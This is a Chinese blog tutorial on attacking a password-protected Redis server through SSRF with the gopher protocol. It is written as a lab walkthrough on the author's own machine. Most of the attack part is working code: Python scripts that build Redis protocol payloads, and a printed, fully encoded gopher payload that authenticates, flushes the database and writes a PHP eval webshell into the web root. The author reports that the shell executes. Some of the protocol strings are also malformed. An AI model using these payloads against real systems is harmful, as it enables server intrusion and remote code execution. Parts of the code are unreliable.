SSRF+Redis内网渗透二

首先我们给Redis设置密码,模拟更加真实的场景

然后启动Redis服务

 我们先将bind 127.0.0.1 -::1给注释掉,因为我们要通过Python进行连接

 我们进去看看Redis服务器里面有啥key值,我们发现有四个,我们使用flushdb进行删除,确保里面没有key值

 使用Python进行连接并发送数据

import socket

s = socket.socket()  #建立一个socket对象
s.connect(('192.168.112.188',6379))  #连接

data = "*3\r\n$3\r\nset\r\n$8\r\nusername\r\nqiang\r\n"
s.send(data.encode())

resp = s.recv(1024)
print(resp.decode())

s.close()

告诉我们要输入密码

所以我们继续添加命令auth admin123即可

import socket

s = socket.socket()  #建立一个socket对象
s.connect(('192.168.112.188',6379))  #连接

data = "*2\r\n$4auth\r\n$8\r\nadmin123\r\n*3\r\n$3\r\nset\r\n$8\r\nusername\r\nqiang\r\n"
s.send(data.encode())

resp = s.recv(1024)
print(resp.decode())

s.close()

登录成功,set也成功

 然后我们在Redis里查看,发现已经有key值啦,就是我们所在Python代码里添加的数据

 当然这些操作我们也可以在Python代码中实现

import socket

s = socket.socket()  #建立一个socket对象
s.connect(('192.168.112.188',6379))  #连接

data = "*2\r\n$4auth\r\n$8\r\nadmin123\r\n*3\r\n$3\r\nset\r\n$8\r\nusername\r\nqiang\r\n"
s.send(data.encode())

resp = s.recv(1024)
print(resp.decode())

data = '*2\r\n$3\r\nget\r\n$8\r\nusername\r\n'
s.send(data.encode())
resp = s.recv(1024)
print(resp.decode())

s.close()

 同样也可以给我们显示内容

gopher干的事情就是将那个数据包给构造出来,就是Python代码中的那个data的值,而且gopher也支持SSRF,这样我们就可以进内网进行操作啦

接下来我们将bing 127.0.0.1 -::1的注释给拿掉,只允许内网进行访问,然后Python代码也不好使啦,根本连不上,直接就是拒绝连接

利用Python实现Gopher的Payload

1、思路

gopher协议在ssrf的利用中一般用来攻击redis、mysql、fastcgi、smtp等服务。需要满足Gopher的协议要求,其数据格式为:gopher://ip:port/_TCP/IP数据流,比如针对Redis的操作,协议需要gopher://127.0.0.1:6379/_开头,后面跟上基于TCP协议的原始数据包。并且针对换行符,url编码使用%0d%0a替换字符串中的回车换行,这样构成的Redis协议的Payload才能正确地被Gopher处理。在这一点上,Dict协议相对方便一些,但是两者有很大差别,比如dict只支持Redis的单条命令,而Gopher可以很好地支持批量命令处理,在针对需要密码登录Redis的情况下,dict也无能为力而Gopher可以很好地完成。

2、实验代码

简单实现:

import urllib.parse

command = "*2\r\n$4auth\r\n$8\r\nadmin123\r\n*3\r\n$3\r\nset\r\n$8\r\nusername\r\nqiang\r\n"
payload = urllib.parse.quote(command)
print(payload.replace('%',"%25"))

该代码这样写的目的是为了让其生成的paylaod满足Gopher的要求,生成的payload为:

%252A2%250D%250A%25244auth%250D%250A%25248%250D%250Aadmin123%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25248%250D%250Ausername%250D%250Aqiang%250D%250A

将其进行执行,放到_后面去

 然后我们发现在Redis里面有username

接着我们可以看看可不可以执行get命令 ,就是直接在Python里面写入get指令,通过hackbar进行发送,看看网页上会不会给我们显示内容

import urllib.parse

#command = "*2\r\n$4auth\r\n$8\r\nadmin123\r\n*3\r\n$3\r\nset\r\n$8\r\nusername\r\nqiang\r\n"
command = "*2\r\n$3\r\nget\r\n$8\r\nusername\r\n"
payload = urllib.parse.quote(command)
print(payload.replace('%',"%25"))

发现不会显示,其实get不重要啦,只要set可行就是可以的

灵活操作:

接下来我们需要做的事情就是将command里面的命令变成config、set、save之类的,就是和写入一句话木马做的一些操作是一样的

cmdlist = ['auth admin123','flushdb','config set dir /opt/lampp/htdocs/security','config set dbfilename redismm.php','set myshell <?=eval($_POST[a]);?>','save']

payload = ""
for command in cmdlist:
    wordlist = command.split(" ")
    print(wordlist)
    payload = payload + "*" + str(len(wordlist)) + r"\r\n"
    for word in wordlist:
        payload += "$" +str(len(word)) + word + r"\r\n"

print(payload)
payload = urllib.parse.quote(payload)
print(payload.replace('%',"%25"))
*2\r\n$4auth\r\n$8admin123\r\n*1\r\n$7flushdb\r\n*4\r\n$6config\r\n$3set\r\n$3dir\r\n$26/opt/lampp/htdocs/security\r\n*4\r\n$6config\r\n$3set\r\n$10dbfilename\r\n$11redismm.php\r\n*3\r\n$3set\r\n$7myshell\r\n$21<?=eval($_POST[a]);?>\r\n*1\r\n$4save\r\n
%252A2%255Cr%255Cn%25244auth%255Cr%255Cn%25248admin123%255Cr%255Cn%252A1%255Cr%255Cn%25247flushdb%255Cr%255Cn%252A4%255Cr%255Cn%25246config%255Cr%255Cn%25243set%255Cr%255Cn%25243dir%255Cr%255Cn%252426/opt/lampp/htdocs/security%255Cr%255Cn%252A4%255Cr%255Cn%25246config%255Cr%255Cn%25243set%255Cr%255Cn%252410dbfilename%255Cr%255Cn%252411redismm.php%255Cr%255Cn%252A3%255Cr%255Cn%25243set%255Cr%255Cn%25247myshell%255Cr%255Cn%252421%253C%253F%253Deval%2528%2524_POST%255Ba%255D%2529%253B%253F%253E%255Cr%255Cn%252A1%255Cr%255Cn%25244save%255Cr%255Cn

生成的结果如上图所示,第一个生成的Payload经过检验是没有任何问题的,但是经过URL编码的Payload出现了问题,它是将\r和\n转换成了5Cr和5Cn,系统编码的问题我们无法去改变,但我们可以使用Python代码进行一个替换,最终正确的Python代码为:

import urllib.parse

cmdlist = ['auth admin123','flushdb','config set dir /opt/lampp/htdocs/security','config set dbfilename redismm.php','set myshell <?=eval($_POST[a]);?>','save']

payload = ""
for command in cmdlist:
    wordlist = command.split(" ")
    print(wordlist)
    payload = payload + "*" + str(len(wordlist)) + r"\r\n"
    for word in wordlist:
        payload += "$" +str(len(word)) + word + r"\r\n"

print(payload)
payload = urllib.parse.quote(payload)
payload = payload.replace("%","%25").replace("5Cr","0D").replace("5Cn","0A")
print(payload)

生成的正确的Payload如下:

*2\r\n$4auth\r\n$8admin123\r\n*1\r\n$7flushdb\r\n*4\r\n$6config\r\n$3set\r\n$3dir\r\n$26/opt/lampp/htdocs/security\r\n*4\r\n$6config\r\n$3set\r\n$10dbfilename\r\n$11redismm.php\r\n*3\r\n$3set\r\n$7myshell\r\n$21<?=eval($_POST[a]);?>\r\n*1\r\n$4save\r\n
%252A2%250D%250A%25244auth%250D%250A%25248admin123%250D%250A%252A1%250D%250A%25247flushdb%250D%250A%252A4%250D%250A%25246config%250D%250A%25243set%250D%250A%25243dir%250D%250A%252426/opt/lampp/htdocs/security%250D%250A%252A4%250D%250A%25246config%250D%250A%25243set%250D%250A%252410dbfilename%250D%250A%252411redismm.php%250D%250A%252A3%250D%250A%25243set%250D%250A%25247myshell%250D%250A%252421%253C%253F%253Deval%2528%2524_POST%255Ba%255D%2529%253B%253F%253E%250D%250A%252A1%250D%250A%25244save%250D%250A

然后查看文件系统,发现已经成功写入,并且写入的PHP代码是能够被执行的

那我们就执行一下这个PHP代码,直接输入其所在的文件名即可,发现执行成功,没有任何问题

 当然我们还有另外一种方式进行编辑

\r\n使用正则表达式进行替换

 替换后的结果如下所示,然后将前面的\r\n给删除即可

然后将*替换成%252A

然后将\r替换成%250D

 然后将\n替换成%250A

然后将$替换为%2524,然后我们构造的Pyload已经成功了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值